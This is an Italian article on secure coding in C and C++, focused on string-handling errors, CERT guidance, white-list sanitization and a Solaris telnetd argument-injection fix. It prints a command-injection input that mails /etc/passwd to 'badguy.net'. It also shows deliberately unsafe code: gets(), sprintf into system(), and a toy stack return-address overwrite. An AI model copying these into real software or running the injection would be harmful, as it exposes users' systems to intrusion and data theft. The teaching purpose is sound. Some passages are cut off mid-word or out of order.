Trascurare gli aspetti di sicurezza e di robustezza del codice sviluppato in linguaggio C non è mai consigliato. É dimostrato che malfunzionamenti dovuti alla scarsa sicurezza possono pregiudicare l'affidabilità del sistema stesso.
I difetti del software sono la primaria causa della vulnerabilità del codice. L’organismo CERT/CC ha osservato che, attraverso l’analisi di migliaia di casi sulla vulnerabilità, la maggior incidenza di questo fenomeno è da imputare a comuni errori di programmazione: da un cattivo dimensionamento delle variabili ad un errato uso delle chiamate di sistema. Il CERT Secure Coding, attraverso l’azione integrata, di sviluppatori e organizzazioni, mira a identificare le situazioni critiche, a catalogarle e a inviare le informazioni agli addetti ai lavori attraverso dei report. La conoscenza diffusa in questo modo può essere un valido aiuto alla stesura di programmi sicuri e non attaccabili da azioni critiche. Vediamo in questo articolo alcuni problemi legati alla codifica del codice in C e come cercare di risolverli.
Secure coding in C & C++: stringhe
La vulnerabilità e l’exploits del software è causato da un erroneo utilizzo delle funzionalità di rappresentazione, gestione e manipolazione delle stringhe. La stringa è un concetto fondamentale nella ingegneria del software. Le stringhe sono utilizzate mediante la scelta oculata, per esempio, di queste strutture:
➤ Std::basic_string
La standarizzazione del C++ ha promosso il template standard std::basic_string. Questa classe rappresenta una sequenza di caratteri e identificata una serie di operazioni permesse, come per esempio le operazioni di concatenazione e di ricerca.
➤ Null-terminated byte strings (NTBS)
Un Null-terminated byte strings è una sequenza di caratteri che terminano con il carattere nullo. La figura 1 mostra una rappresentazione di una stringa con il relativo carattere di terminazione.
Ecco brevemente gli attributi di una stringa definita come Null-terminated bytes:
➤ Un puntatore a una stringa che punta al suo carattere iniziale.
➤ La lunghezza della stringa è il numero di bytes che precedono il carattere nullo. Il valore della stringa è la sequenza dei valori che contengono i caratteri della stringa stessa.
➤ Il numero dei bytes richiesti per immagazzinare una stringa è il numero di caratteri aumentato di uno. Gli errori più comuni, se utilizzare una rappresentazione di questo genere, sono, per esempio, gli errori di troncamento, gli errori di terminazione dovuti alla presenza del carattere Null-terminator, la scrittura al di fuori dei limiti del suo range, le copie di stringhe in cui i limiti non sono propriamente definiti o gli usi erronei del cosiddetto data sanitization. I possibili errori di copie di stringhe, con limiti non propriamente definiti, sono mostrati nei listati 5 e 6 (con iostream), mentre la tabella 1 mostra alcune funzioni C a rischio. noscenza dei dati stessi e la capabilities del singolo subsystem (modulo software). Viega e Messier forniscono un esempio di una applicazione che riceve, in ingresso, indirizzi di email da un buffer e, in seguito, queste stringhe vengono utilizzate come argomenti di una chiamata di sistema. Il listato 1 mostra un evidente esempio.
sprintf(buffer, “/bin/mail %s < /tmp/email”, addr); system(buffer);
Listato 1 |
Il rischio di questo passaggio è quello che un possibile utente potrebbe inserire una stringa di questo tipo come un indirizzo di una email: [email protected]; cat/etc/passwd | mail some@badguy.net Come potrebbe essere risolto questo potenziale problema? Certamente, occorre essere sicuri che solo i dati ritenuti validi possono essere accettati, mentre tutti gli altri, quelli potenzialmente pericolosi, devono essere rifiutati. Questo è, senza dubbio, un compito non facile. Non è facile perché è difficile discriminare quali dati sono potenzialmente validi, mentre i dati considerati pericolosi devono essere rifiutati o sottoposti alla procedura chiamata di sanitized. Questo lavoro può risultare abbastanza difficile, a maggior ragione, quando i caratteri considerati validi, o le sequenze di caratteri, hanno un significato speciale nell’applicazione considerata o, addirittura, sono considerati dei dati validi in una grammatica particolare. Nei casi dove non ci sia sovrapposizione, la tecnica che possiamo definire come white listing può essere tranquillamente utilizzata. Un approccio di questo tipo consiste nel definire una lista di caratteri accettabili e, eventualmente, rimuovere tutti i caratteri che non sono considerati tali. Una lista di validi dati in ingresso sono, tipicamente, predicibili, ben definiti ed estremamente manipolabili.
Il listato 2 illustra un approccio di questo tipo, white list approach. Questo è basato sul pacchetto tcp_wrappers scritto da Wietse Venema.
static char ok_chars[] = “abcdefghijklmnopqrstuvwxyz\ ABCDEFGHIJKLMNOPQRSTUVWXYZ\1234567890_-.@“; char user_data[] = “Bad char 1:} Bad char 2:{“; char *cp; /* cursor into string */ for (cp = user_data; *(cp += strspn(cp, ok_chars)); ) { *cp = ‘_‘;
Listato 2 |
L’attività di un buon programmatore è quella di identificare gli aspetti della sicurezza del codice e sviluppare valide alternative: l’idea è quella di ridurre o eliminare i problemi di vulnerabilità prima di intraprendere l’azione di sviluppo.
Esempio di un codice che mostra problemi di vulnerabilità
L’esempio che mostreremo pone in evidenza gli aspetti della vulnerabilità. È una porzione di codice eseguita su Sun Solaris e utilizza telnet daemon (in.telnetd); il codice permette ad un utente di entrare in un sistema con privilegi elevati. La vulnerabilità in telnetd invoca il programma di login chiamando la execl(). Questa chiamata passa i dati da una sorgente che definiremmo untrusted (la variabile d’ambiente USER) come un argomento al programma login.
(void) execl(LOGIN_PROGRAM, “login”, “-d”, slavename, “-h”, host, “-s”, pam_svc_name, (AuthenticatingUser != NULL ? AuthenticatingUser : getenv(“USER”)),0);
Un attaccante, un questo caso, può ottenere un accesso non autenticato al sistema ponendo la variabile d’ambiente USER a una stringa che è interpretata come un comando addizionale dal programma di login.
Soluzione
La soluzione, che è possibile proporre, consiste nell’inserire l’argomento “—“ prima della chiamata a getenv(“USER”) in execls():
(void) execl(LOGIN_PROGRAM, “login”, “-p”, “-d”, slavename, “-h”, host, “-s”, pam_svc_name, “—“, (AuthenticatingUser != NULL ? AuthenticatingUser : getenv(“USER”)), 0);
Il programma di login utilizza la chiamata POSIX getopt() per scandire la linea di commando e il parametro “—“ costringe getopt() a fermarsi.
Come danneggiare deliberatamente lo stack
Dalla lettura del listato 7 possiamo notare che la funzione main() prende i suoi argomenti di lavoro dalla linea di comando passata al momento della sua attivazione. Sappiamo anche che argc è il contatore degli argomenti presenti nella linea di comando ed argv è il puntatore alla sequenza degli argomenti passati in ingresso. In questo modo, con argv[1] punta al primo argomento e argv[1][0] è il primo carattere del primo argomento. In linea di massima nel programma mancano controlli sulla stringa passata in ingresso. Se, infatti, argc è uguale a zero, in argv[1] avremo un puntatore nullo e il tentativo di leggere la sequenza in in gresso darà luogo, probabilmente, ad un errore di indirizzamento. In C, e anche in C++, il nome di una funzione è il puntatore a quella funzione. Consideriamo il listato 8 che dimostra la nostra asserzione: nel codice, la funzione printit stamperà il nome della subroutine, passata come stringa, l’indirizzo della subroutine, passato come puntatore (a caratteri), e il primo dei due bytes della sub-routine, visualizzata dopo il puntatore. I due bytes non sono altro che le istruzioni in codice macchina: l’indirizzo e le istruzioni sono visualizzate in esadecimale. Conosciamo, con un certo grado di certezza, l’indirizzo di ritorno di una funzione in C. Possiamo sfruttare questa conoscenza per costringere il codice a ritornare in zone di memoria non desiderate. Ora, consideriamo la porzione di codice del listato 4. Questo codice è più intelligente rispetto al programma precedente che ha scritto byte senza senso nel suo stack; il programma scrive nella sua pila un puntatore, un valore di 4-byte (dipende dal tipo di architettura in uso) Questo puntatore è un puntatore alla funzione wrongplace e, se si osserva lo stack con il suo corretto offset, l’indirizzo di ritorno conterà il valore di wrongplace. Certamente, l’inserimento di wrongplace è fatta in un modo abbastanza inusuale, se si pensa che l’indirizzo di ritorno deve essere posto nello stack da una funzione e non intervenendo direttamente con operazioni in memoria. Questo è stato fatto perché wrongplace è stato scritto per terminare mediante una chiamate di sistema exit(). Il white listing è raccomandato nei casi in cui in ingresso è possibile ricevere una qualsiasi sequenza di caratteri: in questo modo, il programmatore deve identificare solamente quali caratteri sono considerati validi.
L’attacco condotto in questo modo dimostra una metodologia del tipo self-attack, ma è possibile condurre una iniziativa più congeniale se possiamo ottenere l’indirizzo di un sottoprogramma da, per esempio, una stringa di caratteri che il programma legge utilizzando la chiamata di sistema gets.
#include <stdio.h> #include <stdlib.h> int getnum() { char buf[32]; gets(buf); return atoi(buf); }
Listato 3 |
#include <stdio.h> #include <stdlib.h> void wrongplace() { printf(“We got to the wrong place\n”); exit();} int offset; /* offset into stack to probe */ void probe() { char * p; p = (char *)&p; *(void **)(&p[offset]) = (void *)wrongplace; } int main(int argc, char * argv[]) { offset = atoi(argv[1]); probe(); puts(“No damage\n”); }
Listato 4 |
int main() { char Password[80]; puts(“Enter 8 character password:”); gets(Password); ... }
Listato 5 - possibile esempio di copia unbounded |
#include <iostream> using namespace std; int main() { char buf[12]; cin >> buf; cout << “echo: “ << buf << endl; }
Listato 6 - possibile esempio di copia unbounded con iostream |
#include <stdio.h> #include <stdlib.h> int offset; /* offset into stack to probe */ void probe() { char * p; p = (char *)&p; p[offset] = ‘\x55’; } int main(int argc, char * argv[]) { offset = atoi(argv[1]); probe(); putstr(“No damage\n”);
Listato 7 - La modifica dell’indirizzo di ritorno di una funzione |
#include <stdio.h> void printit(char * s, char * p) { printf(“%s = %x;”, s, (long int)p); printf(“ first 2 bytes %x %x”, p[0], p[1] ); } main() { printit( “printit”, (char *)printit ); printit( “main”, (char *)main );
Listato 8 - puntatori e funzioni |
Conclusione
Certamente questo argomento è abbastanza complesso per poter essere trattato in maniera esauriente in un articolo. Lo scopo di questo lavoro è di fornire gli elementi per invogliare, il progettista di soluzioni dedicate, ad approfondire il tema.